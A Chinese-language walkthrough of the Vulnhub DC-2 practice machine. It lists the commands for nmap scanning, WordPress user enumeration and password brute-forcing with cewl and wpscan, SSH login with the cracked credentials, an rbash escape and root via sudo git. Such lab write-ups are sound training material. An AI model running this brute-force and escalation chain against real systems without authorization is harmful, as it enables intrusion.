Vulnhub靶机 DC-2 打靶 渗透详细过程
字数 1362 2025-08-19 12:42:32
Vulnhub靶机DC-2渗透测试详细教程
1. 靶机环境准备
- 靶机下载地址: https://www.vulnhub.com/entry/dc-2,311/
- 将下载的OVA文件导入到虚拟机软件(如VMware或VirtualBox)中
2. 信息收集阶段
2.1 主机发现
使用以下命令探测目标主机IP地址:
arp-scan -l
# 或
nmap -sn 10.1.2.0/24
假设发现目标IP为10.1.2.154
2.2 端口扫描
nmap -p- 10.1.2.154
典型扫描结果会显示:
- 80端口(HTTP服务)
- 7744端口(SSH服务,非标准端口)
2.3 服务探针
nmap -sV -p 80,7744 10.1.2.154
3. Web应用渗透
3.1 访问Web服务
打开浏览器访问http://10.1.2.154,首页会显示flag1,内容为:
你通常的词汇表可能不会起作用,所以,也许你只需要保持冷静(cewl)。密码越多越好,但有时候你就是赢不了所有密码。以一个登录查看下一个标志。如果找不到,请以另一个身份登录。
3.2 目录爆破
使用dirsearch工具扫描网站目录:
dirsearch -u http://dc-2 -i 200
3.3 WordPress识别
发现网站使用WordPress CMS,使用wpscan扫描:
wpscan --url http://dc-2 -e u
扫描结果会显示三个用户:
- admin
- tom
- jerry
将用户名保存到user.txt文件中。
3.4 密码字典生成
根据flag1提示,使用cewl生成密码字典:
cewl http://dc-2 -w passwd.txt
3.5 WordPress爆破
使用wpscan进行密码爆破:
wpscan --url http://dc-2 -U user.txt -P passwd.txt
爆破结果:
- 用户名: tom 密码: parturient
- 用户名: jerry 密码: adipiscing
3.6 登录WordPress后台
使用获得的凭据登录WordPress后台,找到flag2:
如果您无法利用 WordPress 并走捷径,还有另一种方法。希望你找到了另一个切入点。
4. SSH远程登录
4.1 尝试SSH登录
ssh tom@10.1.2.154 -p 7744
# 密码: parturient
ssh jerry@10.1.2.154 -p 7744
# 密码: adipiscing
发现tom可以成功登录,jerry无法直接登录。
4.2 获取flag3
登录tom账户后,在家目录发现flag3.txt:
可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力承担责任。(su命令提示)
5. 受限shell(rbash)逃逸
5.1 检查当前shell环境
echo $SHELL
# 显示为rbash(受限bash)
5.2 rbash逃逸方法
BASH_CMDS[su]=/bin/sh
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
su jerry
# 输入jerry的密码: adipiscing
成功切换到jerry用户。
5.3 获取flag4
在jerry的家目录找到flag4.txt:
很高兴看到你已经走了这么远-但你还没回家。你仍然需要得到最后的旗帜(唯一真正重要的旗帜!!!)这里没有提示-你现在是在你自己。:-)走吧-离开这里!!!!(git)
6. 权限提升
6.1 检查sudo权限
sudo -l
发现jerry用户可以以root权限执行git命令。
6.2 利用git提权
sudo git branch --help config
!/bin/sh
成功获取root权限。
6.3 获取最终flag
在root目录下找到最终的flag文件。
7. 总结
整个渗透测试过程涉及以下关键技术和工具:
- 主机发现: arp-scan, nmap
- 端口扫描和服务识别: nmap
- Web目录爆破: dirsearch
- WordPress扫描: wpscan
- 密码字典生成: cewl
- 受限shell逃逸技术
- sudo提权: git提权
通过这个靶机,我们学习了从信息收集到最终提权的完整渗透测试流程,特别是WordPress系统的常见攻击方法和受限环境下的逃逸技术。